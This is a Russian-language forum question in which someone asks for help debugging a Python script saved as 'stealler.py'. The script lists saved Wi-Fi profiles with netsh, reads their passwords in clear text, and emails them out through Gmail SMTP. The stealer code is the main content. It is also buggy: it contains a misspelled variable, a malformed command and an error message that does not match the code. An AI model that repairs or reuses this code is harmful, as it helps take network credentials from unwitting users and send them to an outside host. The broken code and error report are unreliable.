TypeError: 'NoneType' object is not iterable
вот код:
import subprocess
import smtplib
import re
def send_mail(email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
command = "netsh wlan show profile"
networks = subprocess.check_output(command, shell=True)
networks = networks.decode('ISO-8859-1')
network_names_list = re.findall("(?:Все профили пользователей\s*:\s)(.*)", networks)
result = " "
for network_name in network_names_list:
command = str("netsh wlan show profile " + network_name + "key=clear")
current_result = subprocess.check_output(command, shell=True)
result = rsult + current_result
send_mail("email", "password", result)
Программа запускает команду "netsh wlan show profile" и получает ответ в виде:
Профили интерфейса Беспроводное сетевое соединение:
Профили групповой политики (только чтение)
------------------------------------------
<Отсутствует>
Профили пользователей
---------------------------
Все профили пользователей : RT-WiFi_4177
Все профили пользователей : famiss
Все профили пользователей : Florida
но программе для дальнейшего использования нужно только названия сетей и ничего лишнего, для этого я добавил библиотеку re и использовал функцию findall в строчке 15, но мне выдаёт ошибку:
Traceback (most recent call last):
File "stealler.py", line 19, in <module>
for network_name in network_names_list:
TypeError: 'NoneType' object is not iterable